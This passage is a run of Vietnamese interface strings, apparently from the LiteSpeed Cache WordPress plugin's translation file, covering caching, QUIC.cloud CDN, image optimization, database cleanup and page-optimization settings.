thêm chi tiết.Sau đóSau khi máy chủ Tối ưu hóa hình ảnh QUIC.cloud hoàn tất tối ưu hóa, nó sẽ thông báo cho trang web của bạn để kéo các hình ảnh đã tối ưu hóa.Sau khi kiểm tra bộ nhớ cache hoạt động nói chung, hãy kiểm tra giỏ hàng.AggressiveBí danh đang được sử dụng bởi một tài khoản QUIC.cloud khác.Tất cả hàng đợi dịch vụ QUIC.cloud đã được dọn dẹp.Tất cả các dữ liệu tạm thờiTất cả các danh mục được lưu vào bộ nhớ cache mặc định.Tất cả các trangTất cả các trang với widget Bài viết gần đâyTất cả các thẻ được cache theo mặc định.Cho phép các IP được liệt kê (một trên mỗi dòng) để thực hiện một số hành động nhất định từ trình duyệt của chúng.Đã được lưu vào bộ nhớ đệmLuôn xóa bỏ cả sản phẩm và danh mục khi có thay đổi về số lượng hoặc trạng thái tồn kho.Một tham số tùy chọn thứ hai có thể được sử dụng để chỉ định việc kiểm soát bộ nhớ đệm. Sử dụng một khoảng trắng (space) để phân táchNối chuỗi truy vấn %s vào tài nguyên để bỏ qua hành động này.Đã áp dụng thiết lập sẵn %1$s %2$sÁp dụng thiết lập sẵnBạn có chắc chắn muốn xóa tất cả các mục hiện có trong danh sách chặn không?Bạn có chắc chắn hủy tất cả các hình ảnh được tối ưu hóa không?Bạn có chắc chắn bạn muốn xóa tất cả cloud nodes?Bạn có chắc chắn muốn ngắt kết nối khỏi QUIC.cloud không? Điều này sẽ không xóa bất kỳ dữ liệu nào khỏi bảng điều khiển QUIC.cloud.Bạn có chắc chắn muốn phát hiện lại máy chủ đám mây gần nhất cho dịch vụ này không?Bạn có chắc chắn muốn xóa tất cả bản sao lưu hình ảnh không?Bạn có chắc chắn muốn đặt lại tất cả các cài đặt về cài đặt mặc định không?Tải CSS không đồng bộ với CSS quan trọngĐính kèm thông tin PHP vào báo cáo. Đánh dấu vào ô này để chèn dữ liệu liên quan từ %s.Tác giả Lưu TrữBản nháp tự độngTự động xóa cache khi đăng/cập nhật bàiYêu cầu tự động CronTự tảiTự động tạo CSS quan trọng ở chế độ nền thông qua hàng đợi dựa trên cron.Tạo CSS duy nhất tự động được thực hiện trong nền thông qua hàng đợi dựa trên cron.Tự động nâng cấpTự động bật tính năng tìm nạp trước DNS cho tất cả các URL trong tài liệu, bao gồm hình ảnh, CSS, JavaScript, v.v.Tự động tạo LQIP trong nền thông qua hàng đợi dựa trên cron.Tự động xóa bản sao lưu ảnh gốc sau khi tìm nạp hình ảnh được tối ưu hóa.Tự động yêu cầu tối ưu hóa thông qua cron job.Khả dụng sau %d giâyDanh sách Avatar trong hàng đợi đang chờ để cập nhậtĐường dẫn .htaccess phụ trợKiểm soát Heartbeat giao diện quản trịThời hạn TTL của Heartbeat giao diện quản trịSao lưu được tạo %1$s trước khi áp dụng thiết lập sẵn %2$sCơ bảnHình ảnh giữ chỗ cơ bảnTrước đóHiệu suất WordPress tốt nhất hiện cóBản thử nghiệmDanh sách chặnDanh sách đã chặnBị liệt vào danh sách chặn do không thể lưu vào bộ nhớ đệmCả %1$s và %2$s đều được chấp nhận.Có thể sử dụng cả URL đầy đủ và chuỗi một phần.Cả hai loại chuỗi (string) đầy đủ và một phần của chuỗi đều có thể được sử dụng.Trình duyệtCache trình duyệtCài đặt bộ nhớ đệm của trình duyệtTTL bộ nhớ cache của trình duyệtBộ nhớ cache của trình duyệt sẽ lưu trữ các tệp tĩnh của trang web trong trình duyệt của người dùng. Bật cài đặt này để giảm yêu cầu lặp lại cho các tệp tĩnh.Theo mặc định, trình giữ chỗ ảnh màu xám %s sẽ được sử dụng.Theo mặc định, các trang Tài khoản của tôi, Thanh toán và Giỏ hàng sẽ tự động bị loại trừ khỏi bộ nhớ đệm. Định cấu hình sai các liên kết trang trong cài đặt WooCommerce có thể khiến một số trang bị loại trừ do nhầm lẫn.Theo thiết kế, tùy chọn này có thể phục vụ nội dung cũ. Không kích hoạt tùy chọn này, nếu điều đó không ổn với bạn.CCSS Theo URLDanh sách trắng Bộ chọn CCSSCDNBăng thông CDNCài đặt CDNCDN URLURL CDN sẽ được sử dụng. Ví dụ như, %sKết hợp CSS & JSKết hợp CSSKết hợp CSS bên ngoài và nội tuyếnLoại trừ CSSNén CSSCài đặt CSSThu nhỏ CSS, JS và HTMLBộ nhớ đệm CSS/JSBộ nhớ đệmBộ nhớ đệm cho thanh quản trịBộ nhớ đệm cho biểu mẫu bình luậnBộ nhớ đệm cho người bình luậnBộ nhớ đệm cho cài đặt kiểm soátCache HitBộ nhớ đệm cho người dùng đã đăng nhậpBộ nhớ đệm cho trang đăng nhậpCache MissBộ nhớ đệm cho mobileCache REST APITrạng thái bộ nhớ đệmBộ nhớ đệm WP-AdminKhóa cache phải là số nguyên hoặc chuỗi không trống, %s.Mã bộ đệm không được là một chuỗi trống.Yêu cầu bộ nhớ đệm được thực hiện bởi các lệnh gọi REST API của WordPress.Lưu bộ nhớ đệm cho khối ESI Admin Bar tích hợp.Lưu trữ bộ nhớ cache cho khối ESI Biểu mẫu Nhận xét tích hợp.Cache toàn bộ trang web của bạn, bao gồm nội dung động và <strong>các khối ESI</strong>.Tính toán dung lượng đĩa sao lưuTính toán lưu trữ hình ảnh gốcĐã tính toán sao lưu thành công.Không thể tạo thư mục: %1$s. Lỗi: %2$sHủyDanh mụcTệp chứng chỉ hoặc khóa không tồn tại.Thay đổi cài đặt thành công.Các thay đổi đối với cài đặt này không áp dụng cho LQIP đã tạo. Để tạo lại LQIP hiện có, vui lòng %s trước từ menu thanh quản trị.Kiểm tra trạng tháiKiểm tra IP công khai của tôi từKiểm tra trạng thái của các cài đặt quan trọng nhất và tình trạng thiết lập CDN của bạn ở đây.Chọn tùy chọn này để sử dụng cấu hình của trang chính cho tất cả các trang con.Xóa tất cảDọn dẹp sơ đồ trang trình thu thập thông tinDọn dẹp dữ liệu chưa hoàn thànhXóa tất cả bản nháp đã lưu tự độngDọn dẹp tất cả các bản ghi meta bài viết mồ côiXóa tất cả các bản sửa đổi bài viếtXóa tất cả bình luận rácXóa sạch tất cả thành công.Xóa tất cả các trackbacks và pingbacksXóa tất cả các tùy chọn tạm thờiXóa tất cả các dữ liệu tạm thời thành công.Xóa tất cả bình luận đã chuyển vào thùng rácXóa tất cả các bài viết và trang đã chuyển vào thùng rácTự động xóa bản nháp thành công.Xóa các tùy chọn Transients đã hết hạnXóa quá trình chuyển đổi hết hạn thành công.Đã dọn dẹp thành công các meta bài viết mồ côi.Xóa bản xem lại của bài viết thành công.Làm sạch các bản sửa đổi cũ hơn %1$s ngày, không bao gồm %2$s các bản sửa đổi mới nhấtXóa bình luận rác thành công.Xóa trackbacks và pingbacks thành công.Xóa bình luận trong thùng rác thành công.Xóa các bài viết và trang đã chuyển vào thùng rác thành công.Đã dọn dẹp tất cả các tệp CSS quan trọng.Đã dọn dẹp tất cả các tệp Gravatar.Đã xóa tất cả các tệp LQIP.Đã dọn dẹp tất cả các tệp CSS duy nhất.Đã dọn dẹp tất cả các mục tài nguyên được bản địa hóa.Đã xóa thành công dữ liệu chưa hoàn thành.Xóa bộ nhớ đệm %s khi chạy "Xóa tất cả".Xóa bộ nhớ đệm CloudflareXóa các bản ghiĐã xóa %1$s ảnh không hợp lệ.Nhấp vào đây để tiếp tục.Nhấn vào đây để thiết lập.Nhấp để xóa tất cả các nút để xác định lại thêm.Nhấn để sao chépNhấp để chuyển sang phiên bản tối ưu hóa.Nhấp để chuyển sang phiên bản gốc (chưa tối ưu hóa).Lỗi đám mâyMáy chủ đám mây đã từ chối yêu cầu hiện tại do giới hạn tốc độ. Vui lòng thử lại sau.Máy chủ đám mây đã từ chối yêu cầu hiện tại do hình ảnh chưa được kéo. Vui lòng kéo hình ảnh trước.CloudflareCloudflare APICloudflare API được tắt.Cloudflare CacheTên miền CloudflareCài đặt CloudflareCloudflare ZoneThu gọn chuỗi truy vấnKết hợp các tệp CSS và mã CSS nội tuyến.Kết hợp tất cả các tệp JS cục bộ thành một tệp duy nhất.Nhận xét được hỗ trợ. Bắt đầu một dòng bằng %s để biến nó thành một dòng nhận xét.Giao tiếp với Cloudflare thành công.Xin chúc mừng! Tệp của bạn đã được tối ưu hóaChúc mừng, %s đã thiết lập thành công tên miền này cho các dịch vụ trực tuyến ẩn danh.Chúc mừng, %s đã thiết lập thành công tên miền này cho các dịch vụ trực tuyến với dịch vụ CDN.Chúc mừng, %s đã thiết lập thành công tên miền này cho các dịch vụ trực tuyến.Xin chúc mừng, tất cả đã tập hợp!Kiểm tra kết nốiMạng phân phối nội dungDịch vụ Mạng phân phối nội dungChuyển đổi sang InnoDBChuyển đổi thành InnoDB thành công.Tên cookieMô phỏng cookieGiá trị cookieSao chép nhật kýKhông tìm thấy %1$s trong %2$s.Khoảng thời gian thu thập thông tinThu thập thông tinCron trình thu thập thông tinCài đặt chung trình thu thập thông tinNhật ký trình thu thập dữ liệuTrạng thái trình thu thập thông tinQuản trị viên máy chủ đã tắt trình thu thập thông tin.Danh sách trình thu thập dữ liệu bị vô hiệu hóa đã bị xóa! Tất cả các trình thu thập dữ liệu được đặt thành hoạt động! Thu thập thông tinTạo bài viết, đảm bảo trang chủ là chính xác.Được tạo với ❤️ bởi đội ngũ LiteSpeed.Tín dụng không đủ để tiến hành yêu cầu hiện tại.CSS quan trọngQuy tắc CSS quan trọngTên CronHiện tại %s Nội dungCác nút đám mây hiện tại đang được sử dụngTrình thu thập thông tin hiện tại bắt đầu lúcVị trí ID bài đăng hình ảnh hiện tạiGiới hạn hiện tại làTải trọng máy chủ hiện tạiThời gian máy chủ hiện tại là %s.Thu thập dữ liệu trang web hiện tại bắt đầu lúcTrạng thái hiện tại là %1$s kể từ %2$s.Trạng thái hiện tại là %s.Trình thu thập thông tin hiện đang hoạt độngHiện đang sử dụng phiên bản đã được tối ưu hóa của tệp AVIF.Hiện đang sử dụng phiên bản tệp WebP được tối ưu hóa.Hiện đang sử dụng phiên bản tệp được tối ưu hóa.Hiện đang sử dụng phiên bản gốc (chưa được tối ưu hóa) của tệp AVIF.Hiện đang sử dụng phiên bản gốc (chưa được tối ưu hóa) của tệp WebP.Hiện đang sử dụng phiên bản gốc (chưa được tối ưu hóa) của tệp.Sơ đồ trang web tùy chỉnhCài đặt tối ưu hóa DBKết nối DNS trướcTìm nạp DNSKiểm soát tìm nạp trước DNSTruy xuất DNS trước cho các tệp tĩnhLưu trữ hàng ngàyTổng quanCơ sở dữ liệuTrình tối ưu hoá cơ sở dữ liệuTóm tắt cơ sở dữ liệuCông cụ chuyển đổi bảng cơ sở dữ liệuCơ sở dữ liệu sẽ được sử dụngNgàyTrình trợ giúp gỡ lỗiCấp độ debugNhật ký gỡ lỗiCài đặt gỡ lỗiLoại trừ Chuỗi Gỡ lỗiGỡ lỗi URI loại trừGỡ lỗi URI bao gồmMặc địnhBộ nhớ đệm mặc địnhFeed TTL mặc địnhTTL mặc định trang chủTTL trang mã trạng thái HTTP mặc địnhThời gian hủy mặc định của đối tượngBộ nhớ cache riêng tư mặc định TTLThời gian cache mặc định cho toàn bộ các trangREST TTL mặc địnhTTL mặc định cho các đối tượng lưu cachedĐường dẫn mặc định làCổng mặc định cho %1$s là %2$s.Giá trị mặc địnhHoãn lạiHoãn lại cho đến khi trang được phân tích cú pháp hoặc trì hoãn cho đến khi tương tác có thể giúp giảm tranh chấp tài nguyên và cải thiện hiệu suất gây ra FID thấp hơn (chỉ số Core Web Vitals).Trì hoãn kết xuất các phần tử HTML ngoài màn hình bằng bộ chọn của nó.Bị trì hoãnXóa tất cả các bản sao lưu của hình ảnh gốcCung cấp phạm vi toàn cầu với một <strong>mạng lưới hơn 80 PoPs</strong> đang phát triển.Phá hủy tất cả dữ liệu tối ưu hóaHủy tất cả dữ liệu tối ưu hóa thành công.Xác định các thay đổi về số lượng sản phẩm và trạng thái còn hàng của sản phẩm ảnh hưởng như thế nào đến các trang sản phẩm và các trang danh mục liên quan của chúng.Chế độ phát triểnChế độ phát triển sẽ tự động tắt sau ba giờ.Chế độ phát triển sẽ được tự động tắt trong %s.Vô hiệu hóaVô hiệu hoá tất cả tính năngTắt bộ nhớ đệmTắt Tải chậm hình ảnhTắt hình ảnh khung nhìnVô hiệu hóa Heartbeat WordPress để giảm tải máy chủ.Tắt tùy chọn này để tạo CCSS cho mỗi Loại bài đăng thay vì cho mỗi trang. Điều này có thể tiết kiệm đáng kể hạn ngạch CCSS, tuy nhiên nó có thể dẫn đến kiểu dáng CSS không chính xác nếu trang web của bạn sử dụng trình tạo trang.Đã vô hiệu hoáĐã tắt tệp AVIF thành công.Đã tắt tệp WebP thành công.Vô hiệu hóa điều này có thể gây ra các tác vụ WordPress được AJAX kích hoạt để ngừng hoạt động.Vô hiệu hoá tùy chọn này có thể ảnh hưởng tiêu cực đến hiệu suất.Ngắt kết nối khỏi QUIC.cloudBỏ quaLoại bỏ thông báo nàyBỏ thông báo này.Không lưu bộ nhớ đệm danh mụcKhông Cache CookiesKhông lưu nhóm vào bộ nhớ đệmKhông lưu bộ nhớ đệm các chuỗi truy vấnKhông Cache RolesKhông lưu bộ nhớ đệm thẻKhông cache URIsKhông sử dụng Cache User AgentsKhông xóa các danh mục khi có thay đổi về số lượng hoặc trạng thái hàng tồn kho.Không hiển thị lạiTên miềnKhông nên hạ cấp. Có thể gây ra lỗi nghiêm trọng do mã được cấu trúc lại.Loại bỏ chuỗi truy vấnESIMã thông báo ESICài đặt ESIESI cho phép bạn chỉ định các phần của trang động dưới dạng các đoạn mã riêng biệt, sau đó chúng được ghép lại với nhau để tạo thành trang hoàn chính. Nói cách khác, ESI cho phép bạn "đục lỗ" trên một trang và sau đó lấp đầy các lỗ đó bằng nội dung có thể được cache riêng tư hoặc công khai với bộ nhớ riêng của mình hoặc không được lưu vào bộ nhớ cache.Mẫu ESI cho các nhà phát triểnHeartbeat trình chỉnh sửaThời hạn TTL Heartbeat trình chỉnh sửaCác phần tử có thuộc tính %s trong mã HTML sẽ bị loại trừ.Các phần tử có thuộc tính %s trong mã html sẽ bị loại trừ.Địa chỉ emailXóa toàn bộ, bộ nhớ đệmDanh sách chặn trốngBật bộ nhớ đệmBật ESIBật QUIC.cloud CDNKích hoạt Dịch vụ QUIC.cloudBật dịch vụ QUIC.cloudBật cron tạo tự động hình ảnh khung nhìn.Bật thay thế WebP/AVIF trong %s phần tử được tạo ra bên ngoài logic của WordPress.Bật tuỳ chọn này nếu bạn đang sử dụng cả HTTP và HTTPS trong cùng một tên miền và nhận thấy những bất thường của bộ nhớ cache.Đã kích hoạtĐã bật tệp AVIF thành công.Đã bật tệp WebP thành công.Bật LiteSpeed Cache cho WordPress ở đây cho phép bộ nhớ cache cho mạng.Lý do kết thúcCông cụNhập địa chỉ IP của trang này để cho phép các dịch vụ đám mây gọi trực tiếp IP thay vì tên miền. Điều này giúp loại bỏ thời gian tìm kiếm DNS và CDN.Lỗi: Không thể áp dụng cài đặt %1$sThiết yếuMỗi phútMọi thứ trong Nâng cao, CộngMọi thứ trong Aggressive, PlusMọi thứ trong Cơ bản, PlusMọi thứ trong Thiết yếu, CộngVí dụVí dụ:Ví dụ về các trường hợp kiểm tra bao gồm:Loại trừ đường dẫnCài đăt loại trừLoại trừDữ liệu tạm thời đã hết hạnXuấtXuất cài đặtExtremeThất bạiKhông thể sao lưu tệp %s, đã hủy bỏ các thay đổi.Không thể liên lạc với CloudflareKhông kết nối được với máy chủ QUIC.cloudKhông thể tạo bảng Avatar. Vui lòng làm theo <a %s>Hướng dẫn tạo bảng từ LiteSpeed Wiki</a> để hoàn tất thiết lập.Không thể tạo bảng %1$s! SQL: %2$s.Không thể phát hiện IPKhông thể lấy nội dung tệp %s.Thất bại khi lấy dữ liệu echo từ WPAPIThất bại khi phân tích cú pháp trạng thái kích hoạt %s.Không thể yêu cầu qua WordPressKhông thể nâng cấp.Thất bại khi xác thực dữ liệu kích hoạt %s.Không thể ghi vào %s.Sử dụng hàng đợi nhanhTệp %s không thể ghi.Tên tệp trống!Tập tinBộ lọc %s khả dụng cho tạo UCSS theo loại trang.Bộ lọc %s được hỗ trợ.Thư mục không tồn tại: %sThư mục không thể ghi: %s.Tối ưu hóa hiển thị phông chữĐối với các URL có ký tự đại diện, có thể có sự chậm trễ trong việc bắt đầu dọn dẹp theo lịch trình.Ví dụVí dụ,  %1$s định nghĩa một TTL là %2$s giây cho %3$s.Ví dụ: %s có thể được sử dụng cho trình giữ chỗ trong suốt.Ví dụ, đối với %1$s, có thể sử dụng %2$s và %3$s ở đây.Ví dụ, đối với %1$s, có thể sử dụng %2$s ở đây.Ví dụ: nếu mỗi trang trên trang web có định dạng khác nhau, hãy nhập %s vào ô trống. Các tệp CSS quan trọng riêng biệt sẽ được lưu trữ cho mỗi trang trên trang web.Ví dụ, để loại bỏ các tham số bắt đầu bằng %1$s, có thể sử dụng %2$s ở đây.Vì lý do đó, hãy kiểm tra trang web để đảm bảo mọi thứ vẫn hoạt động bình thường.Bắt buộc cache URIsBuộc URI bộ nhớ đệm công khaiBắt buộc cronBắt buộc lưu vào bộ nhớ đệmCó sẵn hạn ngạch hàng tháng miễn phí.Có sẵn hạn ngạch miễn phí hàng tháng. Cũng có thể sử dụng ẩn danh (không yêu cầu email).Trang chủĐường dẫn .htaccess FrontendKiểm soát Heartbeat giao diện người dùngThời hạn TTL của Heartbeat giao diện người dùngCài đặt chungCài đặt chungTạo LQIP trong nềnTạo liên kết cho người dùng hiện tạiTạo UCSSTạo một bản sao bộ nhớ cache thay đổi riêng biệt cho giỏ hàng mini khi giỏ hàng không trống.Được tạo tại %sKhóa API / Mã thông báo API chungNhóm chungTruy cập trang tổng quan QUIC.cloudChuyển đến danh sách pluginTin vui từ máy chủ QUIC.cloudGoogle reCAPTCHA sẽ được bỏ qua tự động.Bộ nhớ đệm GravatarCron bộ nhớ đệm GravatarBộ nhớ đệm Gravatar TTLNhóm lưu trữ ở cấp độ mạng.KháchChế độ kháchIP Chế độ KháchLoại trừ JS Chế độ KháchTác nhân người dùng chế độ kháchChế độ khách và tối ưu hóa kháchChế độ khách không thể kiểm tra.Chế độ khách đã vượt qua bài kiểm tra.Chế độ khách cung cấp một trang đích luôn có thể lưu vào bộ nhớ cache cho lần truy cập đầu tiên của khách tự động và sau đó cố gắng cập nhật bộ nhớ đệm khác nhau thông qua AJAX.Kết quả kiểm tra chế độ KháchTối ưu hóa KháchThuộc tính HTML để thay thếGiữ Bình Luận HTMLBộ chọn tải chậm HTMLNén HTMLCài đặt HTMLChỉ các nguồn HTTPS.HeartbeatĐiều khiển HeartbeatHiệu suất cao trong bộ nhớ đệm trang và tối ưu hóa trang web từ LiteSpeedTTL cao hơnLịch sửHitTrang chủHostLàm thế nào để khắc phục sự cố gây ra bởi việc tối ưu hóa CSS/JS.Tuy nhiên, không có cách nào để biết tất cả các tùy chỉnh có thể đã được triển khai.Htaccess không khớp với tùy chọn cấu hình.Quy tắc Htaccess là: %sTôi đã để lại một bài đánh giáNếu %1$s là %2$s, thì %3$s phải được hiển thịNếu BẬT, bản sao cũ của trang được lưu trong bộ nhớ cache sẽ được hiển thị cho khách truy cập cho đến khi có bản sao bộ nhớ cache mới. Giảm tải máy chủ cho các lần truy cập tiếp theo. Nếu TẮT, trang sẽ được tạo động trong khi khách truy cập chờ.Nếu bình luận cần giữ lại có dạng: %1$s hãy viết: %2$sNếu mọi ứng dụng web sử dụng cùng một cookie, máy chủ có thể gây nhầm lẫn cho dù người dùng có đăng nhập hay không.Nếu chỉ trang web WordPress cần được xóa, hãy sử dụng Xóa tất cả.Nếu được đặt thành %1$s, trước khi trình giữ chỗ được bản địa hóa, cấu hình %2$s sẽ được sử dụng.Nếu được đặt thành %s, việc này được thực hiện ở nền trước, điều này có thể làm chậm tải trang.Nếu không tìm thấy tên danh mục, danh mục đó sẽ bị xóa khỏi danh sách khi lưu.Nếu cookie đăng nhập gần đây đã được thay đổi trong cài đặt, vui lòng đăng xuất và đăng nhập lại.Nếu không tìm thấy thẻ slug, thẻ sẽ bị xóa khỏi danh sách lưu.Nếu cài đặt này được đặt thành số nhỏ hơn 30, các nguồn cấp dữ liệu sẽ không được lưu trữ.Nếu sử dụng OpenLiteSpeed, máy chủ phải được khởi động lại một lần để các thay đổi có hiệu lực.Nếu bạn đang sử dụng socket %1$s, thì %2$s phải được đặt thành %3$sNếu bạn gặp bất kỳ vấn đề nào, vui lòng tham khảo số báo cáo trong thông báo hỗ trợ của bạn.Nếu bạn tắt bất kỳ cài đặt nào ở trên, vui lòng xóa các loại tệp liên quan khỏi hộp %s.Nếu bạn không muốn di chuyển tại litespeed, bạn có thể tắt plugin này.Nếu trang web của bạn chứa nội dung công khai mà một số người dùng nhất định có thể thấy nhưng những người khác thì không thể, bạn có thể chỉ định Nhóm thay đổi cho những người dùng đó. Ví dụ, chỉ định một nhóm quản trị viên khác nhau cho phép họ có một trang được lưu trữ công khai riêng biệt phù hợp với các quản trị viên (với các liên kết như "chỉnh sửa",...), trong khi tất cả các người dùng khác vẫn nhìn thấy trang công khai mặc định.Nếu theme của bạn không sử dụng JS để cập nhật giỏ hàng mini, bạn phải bật tùy chọn này để hiển thị nội dung giỏ hàng chính xác.Các iframe chứa các tên lớp này sẽ không được tải chậm.Iframes có tên lớp cha này sẽ không được tải chậm.Bỏ qua các chuỗi truy vấn nhất định khi caching. (Yêu cầu LSWS %s)Thông tin hình ảnhTối ưu hoá hình ảnhCài đặt tối ưu hóa hình ảnhTóm tắt tối ưu hóa hình ảnhKích thước nhóm hình ảnh thu nhỏTổng số nhóm hình ảnhHình ảnh đã được gửiHình ảnh có chứa các tên class này sẽ không được tải lazyload.Hình ảnh có tên lớp cha này sẽ không được tải chậm.Hình ảnh không được yêu cầuHình ảnh đã được thông báo để tối ứu hóaHình ảnh được tối ưu hóa và nénHình ảnh sẵn sàng để yêu cầuHình ảnh được yêu cầuHình ảnh sẽ được tự động đẩy nếu cron đang chạy.NhậpXuất / NhậpNhập cài đặtNhập không thành công do lỗi tệp.Tập tin cài đặt đã nhập %s thành công.Cải thiện khả năng tương thích HTTP/HTTPSCải thiện tốc độ của wp-admin thông qua bộ nhớ đệm. (Có thể gặp dữ liệu hết hạn)Cải thiện bởiĐể tránh lỗi nâng cấp, bạn phải sử dụng %1$s trở lên trước khi có thể nâng cấp lên phiên bản %2$s.Để sử dụng dịch vụ QC, cần có tên miền thật, không thể sử dụng IP.Để sử dụng hầu hết các dịch vụ QUIC.cloud, bạn cần dung lượng. QUIC.cloud cung cấp cho bạn dung lượng miễn phí mỗi tháng, nhưng nếu bạn cần nhiều hơn, bạn có thể mua thêm.Bao gồm CSSBao gồm các loại tệpBao gồm hình ảnhBao gồm JSBao gồm CSS bên ngoài và CSS nội tuyến trong tệp kết hợp khi %1$s cũng được bật. Tùy chọn này giúp duy trì các ưu tiên của CSS, mà nên giảm thiểu các lỗi tiềm ẩn bởi CSS Kết hợp gây ra.Bao gồm JS bên ngoài và JS nội tuyến trong tệp kết hợp khi %1$s cũng được bật. Tùy chọn này giúp duy trì các ưu tiên của việc thực thi JS, điều này sẽ giảm thiểu các lỗi tiềm ẩn do JS Kết hợp gây ra.Bao gồm các thư mụcThư viện CSS bất đồng bộ nội dòngCSS nội tuyến được thêm vào Kết hợpJS nội tuyến được thêm vào Kết hợpNội tuyến UCSS để giảm tải tệp CSS bổ sung. Tùy chọn này sẽ không tự động được bật cho các trang %1$s. Để sử dụng nó trên các trang %1$s, vui lòng đặt nó thành BẬT.Cài đặtCài đặt %sCài đặt DoLogin SecurityCài đặt ngayInstant ClickIP không hợp lệCookie đăng nhập không hợp lệ. Tìm thấy các ký tự không hợp lệ.Cookie đăng nhập không hợp lệ. Vui lòng kiểm tra tệp %s.Quy tắc viết lại không hợp lệKHUYẾN NGHỊ MẠNH MẼ rằng khả năng tương thích với các plugin khác trên một/vài trang web cần được kiểm tra trước.Nó sẽ được chuyển đổi thành trình giữ chỗ SVG base64 một cách nhanh chóng.Kết hợp JSJS Kết hợp bên ngoài và nội tuyếnJS Defer cho cả JS bên ngoài và nội tuyếnTrì hoãn JS / Loại trừ trì hoãnJS bị trì hoãnJS trì hoãn bao gồmJS không bao gồmNén JSCài đặt JSLỗi JS có thể được tìm thấy từ tổng quan dành cho nhà phát triển của trình duyệt bằng cách nhấp chuột phải và chọn Kiểm tra.Tham gia cộng đồng Slack của LiteSpeedTham gia với chúng tôi trên SlackTham gia cộng đồng %s.Tắt tùy chọn này để sử dụng trình giữ chỗ màu trơn.LQIPBộ nhớ đệm LQIPTrình tạo đám mây LQIPKhông có LQIPKích thước tối thiểu LQIPChất lượng LQIPXem trước hình ảnh LQIP cho kích thước %sYêu cầu LQIP sẽ không được gửi nếu ảnh trong đó có chiều rộng và chiều cao đều nhỏ hơn các kích thước này.Bộ nhớ đệm LiteSpeedCác chức năng lưu trữ bộ nhớ đệm LiteSpeed trên trang này hiện không khả dụng!Số lớn hơn sẽ tạo trình giữ chỗ có chất lượng độ phân giải cao hơn, nhưng sẽ dẫn đến các tệp lớn hơn, điều này sẽ làm tăng kích thước trang và tiêu tốn nhiều điểm hơn.Lớn hơnLần kéo cuối cùngLần kéo gần nhấtNgày báo cáo cuối cùngSố báo cáo cuối cùngYêu cầu cuốiLần tính toán cuốiThời gian chạy hoàn chỉnh cuối cùng cho tất cả trình thu thập thông tinLần xuất cuốiLần tạo cuốiLần nhập cuốiKhoảng cách cuối cùngLần đẩy khởi tạo bởi cron cách đây %s.Lần chạy cuối cùngBăng thông yêu cầu cuối cùngLoại trừ tên lớp Iframe tải chậmLoại trừ tên lớp cha Iframe tải chậmLazy Load IframesLoại trừ class chứa ảnh ra khỏi Lazy LoadKhông bao gồm hình ảnh Lazy LoadLoại trừ tên lớp cha hình ảnh tải chậmLazy Load hình ảnhLoại trừ URI tải chậmTải chậm cho IframeTải chậm cho hình ảnhTìm hiểu thêmTìm hiểu thêm về QUIC.cloudTìm hiểu thêmTìm hiểu thêm về trường hợp cần thiếtXem thêm hoặc mua thêm hạn mức.Liên kết & Bật QUIC.cloud CDNLiên kết tới QUIC.cloudĐã liên kết với môi trường xem trước QUIC.cloud, chỉ dành cho mục đích thử nghiệm.Danh sách Mobile User AgentsLiệt kê các loại bài viết mà mỗi mục của loại đó sẽ có CSS của chính nó được tạo.Liệt kê các bộ chọn CSS mà kiểu của chúng luôn phải được đưa vào CCSS.Liệt kê các bộ chọn CSS mà kiểu của chúng luôn phải được đưa vào UCSS.Các tệp CSS được liệt kê sẽ bị loại trừ khỏi UCSS và được lưu thành nội tuyến.Các IP được liệt kê sẽ được coi là khách truy cập ở chế độ khách.Các tệp JS được liệt kê hoặc mã JS nội tuyến sẽ bị trì hoãn.Các tệp JS được liệt kê hoặc mã JS nội tuyến sẽ không bị trì hoãn hoặc trì hoãn.Các tệp JS được liệt kê hoặc mã JS nội tuyến sẽ không được tối ưu hóa bởi %s.URI được liệt kê sẽ không tạo UCSS.Các tác nhân người dùng được liệt kê sẽ được coi là khách truy cập ở chế độ khách.Danh sách các hình ảnh không sử dụng lazyload.LiteSpeed CacheLiteSpeed Cache CDNCấu hình thiết lập sẵn LiteSpeed CacheTrình thu thập thông tin LiteSpeed CacheTổng quan LiteSpeed CacheTối ưu hóa cơ sở dữ liệu LiteSpeed CacheCài đặt chung LiteSpeed CacheLiteSpeed Cache tối ưu hóa hình ảnhCài đặt bộ nhớ cache mạng LiteSpeed CacheTối ưu hóa trang LiteSpeed CacheDọn dẹp tất cả LiteSpeed Cache Cài đặt LiteSpeed CacheThiết lập sẵn tiêu chuẩn của LiteSpeed CacheCông cụ LiteSpeed CacheChế độ xem bộ đệm LiteSpeed ​​.htaccessPlugin LiteSpeed Cache đã được cài đặt!Trình thu thập thông tin LiteSpeed CronNhật ký LiteSpeedTối ưu hóa LiteSpeedBáo cáo LiteSpeedLiteSpeed TechnologiesPlugin bộ nhớ cache LiteSpeed đã được nâng cấp. Vui lòng tải lại trang để hoàn tất nâng cấp dữ liệu cấu hình.Tải không đồng bộ CSSTải không đồng bộ Google FontsTải JS trì hoãnChỉ tải iframes khi chúng vào vùng nhìn thấy.Tải ảnh chỉ khi chúng vào vùng xem.Bản địa hóaTệp bản địa hóaCài đặt bản địa hóaBản địa hóa tài nguyênBản địa hóa các tài nguyên bên ngoài.Tài nguyên được bản địa hóaGiới hạn kích thước tệp nhật kýXem nhật kýCookie đăng nhậpTrình giữ chỗ hình ảnh chất lượng thấpMBQuản lýĐược thêm vào danh sách chặn theo cách thủ côngChạy theo cách thủ côngSơ đồ trangĐánh dấu trang này dưới dạngID bài đăng hình ảnh tối đaGiá trị tối đaĐể sauĐể sauLoại trừ MediaCài đặt MediaTin nhắn từ máy chủ QUIC.cloudPhương phápGiảm thiểu các tệp CSS và mã CSS nội tuyến.Nén nội dung HTML.Giảm thiểu các tệp JS và mã JS nội tuyến.Giá trị tối thiểuMissDi độngQuy tắc tác nhân di độngBộ nhớ đệm mobileLưu trữ hàng thángThêmThông tin thêm về các lệnh có sẵn có thể được tìm thấy ở đây.Cài đặt khácNhiều càu đặt khác có sẵn trong menu %sBảng điều khiển QUIC.cloud của tôiCHÚ ÝCHÚ ÝCHÚ Ý:THÔNG BÁO: Cookie đăng nhập cơ sở dữ liệu không khớp với cookie đăng nhập của bạn.Bảng tổng quan mạngBật Network CacheĐã có phiên bản dành cho nhà phát triển mới!Đã có phiên bản mới!Phiên bản nhà phát triển mới %s hiện có sẵnBản phát hành mới %s hiện có sẵn.Tin tứcĐịnh dạng hình ảnh thế hệ tiếp theoKhông có Nút đám mây khả dụng nào sau khi kiểm tra tải máy chủ.Không có Nút Cloud nào khả dụng.Không có sẵn vùng CloudflareKhông có bản sao lưu của tệp gốc tồn tại.Không tồn tại bản sao lưu của tệp 